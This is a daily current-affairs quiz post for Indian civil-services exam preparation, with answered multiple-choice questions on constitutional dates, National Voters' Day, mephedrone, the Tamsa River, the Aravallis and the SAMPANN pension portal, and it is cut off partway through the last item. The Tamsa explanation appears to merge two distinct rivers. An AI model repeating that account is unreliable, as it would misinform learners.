{"id":2825,"date":"2026-01-27T10:08:03","date_gmt":"2026-01-27T10:08:03","guid":{"rendered":"https:\/\/iasquest.com\/?p=2825"},"modified":"2026-02-11T18:45:53","modified_gmt":"2026-02-11T18:45:53","slug":"daily-current-affairs-26-01-2026","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-26-01-2026\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 26.01.2026"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following pairs:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>S.No<\/strong><\/td><td><strong>IMPORTANT DATE<\/strong><\/td><td><strong>SIGNIFICANCE<\/strong><\/td><\/tr><tr><td><strong>1<\/strong><\/td><td>26th January 1930<\/td><td>Call for Purna Swaraj<\/td><\/tr><tr><td><strong>2<\/strong><\/td><td>9th December 1946<\/td><td>Constituent Assembly begins work<\/td><\/tr><tr><td><strong>3<\/strong><\/td><td>26th November 1949<\/td><td>Constitution comes into force<\/td><\/tr><tr><td><strong>4<\/strong><\/td><td>26th January 1950<\/td><td>Constitution of India adopted<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>How many of the Pairs given above are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>India\u2019s path from Independence to Republic<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>26th January 1930 \u2013 Call for Purna Swaraj<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-11\">\n<li>The demand for Purna Swaraj (complete independence) became a formal political objective in 1929, after resolutions adopted during the national struggle for freedom.<\/li>\n\n\n\n<li>On 26th January 1930, Indians across the country observed Purna Swaraj Day, committing themselves to the goal of complete self-rule and rejecting dominion status under British governance.<\/li>\n\n\n\n<li>This declaration and nationwide observance marked a decisive shift in the freedom movement, articulating a clear political objective that went beyond demands for constitutional reforms under colonial rule. <strong>Hence pair 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>9th December 1946 \u2013 Constituent Assembly begins work<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>The Constituent Assembly of India met for the first time on 9th December 1946 at the Constitution Hall, now the Central Hall of Parliament House.<\/li>\n\n\n\n<li>This marked the formal beginning of India\u2019s constitution-making process. Entrusted with the responsibility of framing a Constitution for independent India, the Assembly worked for two years, eleven months, and seventeen days to complete this historic task.<\/li>\n\n\n\n<li>During this period, it held eleven sessions spread over 165 days, with 114 days devoted to detailed discussion of the Draft Constitution.<\/li>\n\n\n\n<li>Its members were chosen through indirect elections by the Provincial Legislative Assemblies, along with representatives of the princely states, ensuring that the Constitution was shaped through a broadly representative and deliberative process. <strong>Hence pair 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>15th August 1947 \u2013 India attains independence<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li>On 15th August 1947, India attained independence, bringing an end to nearly two centuries of colonial rule.<\/li>\n\n\n\n<li>The transfer of power marked the culmination of a long and sustained freedom struggle led by leaders, freedom movements, and ordinary citizens across the country.<\/li>\n\n\n\n<li>Independence restored political sovereignty to the Indian people and initiated the task of nation-building, as the newly free nation began shaping its future based on democratic ideals, unity, and self-determination.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>26th November 1949 \u2013 Constitution of India adopted<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>After nearly three years of extensive deliberations, the Constituent Assembly adopted the Constitution of India, completing one of the most significant exercises in democratic institution-building.<\/li>\n\n\n\n<li>The drafting process involved detailed discussions on the nature of the Indian State, the rights and duties of citizens, the balance of power between different parts of government, and safeguards for social justice and equality.<\/li>\n\n\n\n<li>The adoption of the Constitution marked the culmination of this collective effort to establish a governance framework rooted in democratic values and constitutional principles.<\/li>\n\n\n\n<li>The date of adoption, 26th November 1949, is formally recorded in the concluding line of the Preamble, underscoring its constitutional authority and historical importance. <strong>Hence pair 3 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>26th January 1950 \u2013 Constitution comes into force<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li>When the Constitution came into effect on 26th January 1950, India was formally established as a Sovereign Democratic Republic, marking the beginning of constitutional governance in independent India.<\/li>\n\n\n\n<li>Through the 42nd Amendment Act in 1976, \u2018Socialist and Secular\u2019 were added, thereby making India Sovereign, Socialist Secular Democratic Republic.<\/li>\n\n\n\n<li>The newly drafted Constitution was enforced by replacing the Government of India Act 1935.<\/li>\n\n\n\n<li>With this, authority was given to democratic institutions operating under the Constitution, and sovereignty was placed with the people.<\/li>\n\n\n\n<li>The choice of 26th January was deliberate, as the date carried the historical legacy of the Purna Swaraj observance of 1930, when complete independence had been asserted as the national objective.<\/li>\n\n\n\n<li>By bringing the Constitution into force on this date, independent India symbolically connected the political aspirations of the freedom movement with the institutional framework of a constitutional republic. <strong>Hence pair 4 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#c8d1d8\"><tbody><tr><td><strong>PYQ REFERENCE: (1997)<\/strong> <br><br><strong>Q. In the following quotation,<\/strong> \u201cWE THE PEOPLE OF INDIA, having solemnly resolved to constitute India into a Sovereign Socialist Secular Democratic Republic and to secure to all its citizens: JUSTICE, social, economic and political; LIBERTY of thought, expression, belief faith and worship; EQUALITY of status and of opportunity: and to promote among them all; FRATERNITY assuring the dignity of the individual and the unity and the integrity of the Nation. \u00a0 <br><br><strong>In our Constituent Assembly this \u2018X\u2019 do hereby adopt, enact<\/strong> <strong>and give to ourselves this Constitution<\/strong>.\u201d,<strong> \u2018X\u2019 stands for:<\/strong> \u00a0<br><br>(a) twenty-sixth day of January, 1950 <br><strong>(b) twenty-sixth day of November, 1949<\/strong> <br>(c) twenty-sixth day of January, 1949 <br>(d) None of the above<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-20 wp-block-paragraph\" style=\"color:#0f30ec\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2218369&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2218369&amp;reg=3&amp;lang=1<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>2. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Statement-I : <\/strong>National Voters\u2019 Day is observed annually on 25 January.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Statement-II: <\/strong>It was in 1950 that the Election Commission of India (ECI) was established on the same day.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(c) Statement-I is correct but Statement-II is incorrect.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(d) Statement-I is incorrect but Statement-II is correct.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Answer: (a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>In NEWS: The President of India, Smt Droupadi Murmu, graced and addressed the 16th National Voters\u2019 Day Celebrations in New Delhi today (January 25, 2026).<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>National Voters\u2019 Day:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-33\">\n<li>National Voters\u2019 Day (NVD) is observed annually on <strong>25 January to commemorate the foundation of the Election Commission of India (ECI) <\/strong>in 1950 under Article 324 of the Constitution. <strong>Hence both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I.<\/strong><\/li>\n\n\n\n<li>The day aims to promote electoral participation, voter awareness, and democratic values, with special focus on newly enrolled voters, especially youth.<\/li>\n\n\n\n<li>The theme of NVD 2026 \u2013 <strong>\u201cMy India, My Vote\u201d<\/strong> (Citizen at the Heart of Indian Democracy) reflects ECI\u2019s commitment to citizen-centric electoral processes.<\/li>\n\n\n\n<li>Since its<strong> inception in 2011<\/strong>, NVD has become a mass civic movement, celebrated across 11 lakh polling stations, led by BLOs, DEOs, and CEOs, and supported by outreach activities under the SVEEP programme, ECI\u2019s flagship voter education initiative launched in 2009.<\/li>\n\n\n\n<li>India\u2019s electoral system has witnessed major reforms and innovations, including voter-friendly polling measures, digitisation of electoral rolls, fast EPIC delivery, webcasting of polling stations, enhanced training of election officials, stricter regulation of political parties, and extensive stakeholder engagement.<\/li>\n\n\n\n<li>At the global level, India has emerged as a leader in electoral governance through initiatives such as the<strong> India International Conference on Democracy and Election Management (IICDEM) 2026 and the Delhi Declaration 2026<\/strong>, which laid down five pillars for strengthening democratic elections worldwide.<\/li>\n\n\n\n<li>India\u2019s Chairship of International IDEA in 2026 further reinforces its role in promoting inclusive, resilient, and future-ready democracies.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#95ecfab8\"><tbody><tr><td><strong>PYQ REFERENCE: (1995)<\/strong> <br><br><strong>Q. Who among the following have the right to vote in the elections to both the Lok Sabha and the Rajya Sabha?<\/strong> <br><br>(a) Elected members of the Lower House of the Parliament <br>(b) Elected members of the Upper House of the Parliament <br>(c) Elected members of the Upper House of the State Legislature <br><strong>(d) Elected members of the Lower House of the State Legislature<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-34 wp-block-paragraph\" style=\"color:#0f30ec\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2218444&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2218444&amp;reg=3&amp;lang=1<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>3. \u2018Mephedrone\u2019, recently seen in the news in the context of \u201cOperation Sahyadri Checkmate\u201d is a<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(a) Synthetic stimulant drug<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(b) Plant-based hallucinogen<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(c) Synthetic nano fertiliser<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(d) Biological toxin produced by bacteria<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Answer: (a) Synthetic stimulant drug<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>In NEWS: DRI busts mobile mephedrone lab in Sahyadri Ranges under \u201cOperation Sahyadri Checkmate\u201d; seizes nearly 22 kg mephedrone in different forms<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Mephedrone:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-44\">\n<li>Mephedrone (chemical name 4-methylmethcathinone, also called 4-MMC) is a <strong>synthetic stimulant drug<\/strong> in the amphetamine\u2013cathinone class. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>It\u2019s often sold illegally in powder or tablet form and used recreationally for its psychoactive effects.<\/li>\n\n\n\n<li>Mephedrone is illegal in many countries:<\/li>\n\n\n\n<li>In the UK it is classified as a Class B drug.<\/li>\n\n\n\n<li>In the US, it is a Schedule I controlled substance.<\/li>\n\n\n\n<li>Most European and many other countries have banned it under narcotics laws.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Effects and Risks<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-46\">\n<li>Short-term effects can include increased heart rate and blood pressure, euphoria, alertness, and heightened mood.<\/li>\n\n\n\n<li>Negative effects may include anxiety, paranoia, dilated pupils, nausea, headaches, teeth grinding, and erratic behaviour.<\/li>\n\n\n\n<li>More serious reactions reported include hallucinations, depression, breathing problems, and cardiovascular strain.<\/li>\n\n\n\n<li>Snorting can damage nasal tissue, and injecting carries infection risks.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Status of Mephedrone in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-48\">\n<li>Mephedrone (also called MD or \u201cmeow meow\u201d) is <strong>illegal in India under the Narcotic Drugs and Psychotropic Substances (NDPS) Act, 1985.<\/strong><\/li>\n\n\n\n<li>It is classified as a controlled psychotropic substance, and all activities involving it are prohibited unless licensed.<\/li>\n\n\n\n<li><strong>Under the NDPS Act, the following are offences without a licence:<\/strong><\/li>\n\n\n\n<li>Manufacture<\/li>\n\n\n\n<li>Possession<\/li>\n\n\n\n<li>Transport<\/li>\n\n\n\n<li>Sale\/Distribution<\/li>\n\n\n\n<li>Import\/Export<\/li>\n\n\n\n<li>Any involvement in these attracts criminal prosecution.<\/li>\n\n\n\n<li>Penalties under the NDPS Act are stringent and depend on quantity:<\/li>\n\n\n\n<li>Small quantity: Can include imprisonment (up to 1 year) and\/or fine (up to \u20b910,000).<\/li>\n\n\n\n<li>Commercial quantity and trafficking: Long prison terms (several years) and high fines are imposed.<\/li>\n\n\n\n<li>Courts in India have handed down multi-year prison sentences (e.g., up to 15 years) for trafficking in commercial quantities of mephedrone.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#91ebc7f0\"><tbody><tr><td><strong>PYQ REFERENCE: (2008)<\/strong> <br><br><strong>Q. What is Bisphenol A (BPA)?<\/strong> <br><br>(a) A medical test for detecting cancer <br>(b) A test for testing the use of drugs to improve performance by athletes <br><strong>(c) A chemical used for the development of food packaging materials<\/strong> <br>(d) A special type of alloy steel<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-49 wp-block-paragraph\" style=\"color:#0f30ec\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2218560&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2218560&amp;reg=3&amp;lang=1<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>4. The Tamsa River is a tributary of which among the following rivers?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(a) Yamuna<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(b) Ganga<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(c) Brahmaputra<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">(d) Krishna<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Answer: (b) Ganga<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>In NEWS:<\/strong> Mention of Tamsa River PM\u2019s address in the 130th Episode of \u2018Mann Ki Baat\u2019<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Tamsa River:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-59\">\n<li>The Tamsa River (also known as the Tons) is a significant<strong> tributary of the Ganges<\/strong> in India, originating in the Kaimur Range (Madhya Pradesh) and<strong> flowing through Uttar Pradesh<\/strong>, including Ayodhya. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li><strong>Origin: Rises in a tank at Tamakund in the Kaimur Range, Madhya Pradesh<\/strong>, at an elevation of 610 meters.<\/li>\n\n\n\n<li><strong>Course:<\/strong> Flows through Madhya Pradesh (Satna, Rewa) and Uttar Pradesh (Ambedkar Nagar, Faizabad\/Ayodhya, Azamgarh, Mau, and Ballia) before joining the Ganges.<\/li>\n\n\n\n<li><strong>Mythological Significance: <\/strong>According to the Ramayana, Lord Rama, Lakshmana, and Sita spent their first night of exile on the banks of the Tamsa. It is also associated with Sage Valmiki&#8217;s ashram.<\/li>\n\n\n\n<li><strong>Rejuvenation:<\/strong> Recently, the Tamsa has been transformed from a polluted state through community-led efforts and the Namami Gange programme, earning praise for its revival.<\/li>\n\n\n\n<li><strong>Geography: <\/strong>It <strong>forms several waterfalls at the edge of the Purwa plateau.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#bec6cc\"><tbody><tr><td><strong>PYQ REFERENCE: (2000)<\/strong> <br><br><strong>Q. Assertion (A):<\/strong> Ganga plain is the most densely populated part of India. <br><strong>Reason (R):<\/strong> Ganga is the most harnessed river of India. <br><br>(a) Both A and R are true and R is the correct explanation of A <br><strong>(b) Both A and R are true but R is not a correct explanation of A<\/strong> <br>(c) A is true but R is false <br>(d) A is false but R is true<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-60 wp-block-paragraph\" style=\"color:#0f30ec\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2218405&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2218405&amp;reg=3&amp;lang=1<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>5. Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">1. Gujarat<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">2. Rajasthan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">3. Punjab\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">4. Haryana<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">5. Delhi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>The Aravalli range passes through which of the above given states\/UT?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">(a) 2, 3 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">(b) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">(c) 1, 2, 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(d) 1, 2, 3, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Answer: (c) 1, 2, 4 and 5 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>In NEWS: <\/strong>Multi-disciplinary team of experts to \u2018define\u2019 Aravallis<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Aravalli Range:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Basic Geography<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-77\">\n<li>The <strong>Aravalli Range<\/strong> is one of the <strong>oldest fold mountain ranges<\/strong> in the world.<\/li>\n\n\n\n<li>It runs in a <strong>south-west to north-east direction<\/strong> across <strong>north-western India<\/strong>.<\/li>\n\n\n\n<li>It extends from <strong>Gujarat<\/strong> through <strong>Rajasthan<\/strong> to <strong>Haryana and Delhi<\/strong>. <strong>Hence (c) 1, 2, 4 and 5 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Geological Features<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-79\">\n<li>Formed during the <strong>Proterozoic era<\/strong>.<\/li>\n\n\n\n<li>Composed mainly of <strong>igneous and metamorphic rocks<\/strong>.<\/li>\n\n\n\n<li>Highly <strong>eroded and discontinuous<\/strong> due to great age.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Important Peaks<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-81\">\n<li><strong>Guru Shikhar<\/strong> (Mount Abu, Rajasthan) \u2013 <strong>highest peak<\/strong> (~1,722 m).<\/li>\n\n\n\n<li>Mount Abu is the <strong>only hill station of Rajasthan<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Climatic &amp; Ecological Role<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>Acts as a <strong>climatic divide<\/strong>:<\/li>\n\n\n\n<li>Western side: Thar Desert (arid region)<\/li>\n\n\n\n<li>Eastern side: comparatively semi-arid to sub-humid<\/li>\n\n\n\n<li>Plays a crucial role in:<\/li>\n\n\n\n<li>Preventing eastward expansion of the Thar Desert<\/li>\n\n\n\n<li>Influencing <strong>monsoon rainfall distribution<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Rivers<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-85\">\n<li>Several rivers originate from the Aravallis, including:<\/li>\n\n\n\n<li>Banas<\/li>\n\n\n\n<li>Luni<\/li>\n\n\n\n<li>Sabarmati (tributaries)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Environmental Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-87\">\n<li>Rich in <strong>minerals<\/strong> (copper, zinc, lead)<\/li>\n\n\n\n<li>Hosts <strong>dry deciduous and thorn forests<\/strong><\/li>\n\n\n\n<li>Declared <strong>ecologically sensitive<\/strong> in parts due to mining and urban pressure<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#9cedcd\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Amarkantak Hills are at the confluence of Vindhya and the Sahyadri Ranges. <br>2. Biligirirangan Hills constitute the easternmost part of Satpura Range. <br>3. Seshachalam Hills constitute the southernmost part of Western Ghats. <br><br><strong>How many of the statements given above are correct?<\/strong> <br><br>(a) Only one <br>(b) Only two <br>(c) All three <br><strong>(d) None<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-88 wp-block-paragraph\" style=\"color:#0f30ec\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/supreme-court-moots-expert-panel-from-different-walks-of-life-to-define-aravalli\/article70533078.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/supreme-court-moots-expert-panel-from-different-walks-of-life-to-define-aravalli\/article70533078.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>6. With reference to SAMPANN (System for Accounting and Management of Pension), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">1. It enables end-to-end digitisation of the pension lifecycle, including issuance of electronic Pension Payment Orders.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">2. SAMPANN is an initiative of the Ministry of Finance for pension disbursement of all Central Government employees.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>In NEWS: <\/strong>SAMPANN pension portal developed by Office Of Controller General of Communication Accounts, integrates with UMANG Portal<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>About SAMPANN:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-101\">\n<li><strong>SAMPANN (System for Accounting and Management of Pension)<\/strong> is a flagship digital platform for pension administration of the <strong>Department of Telecommunications<\/strong>.<\/li>\n\n\n\n<li>The platform is <strong>developed, owned, and operated<\/strong> by the <strong>Office of the Controller General of 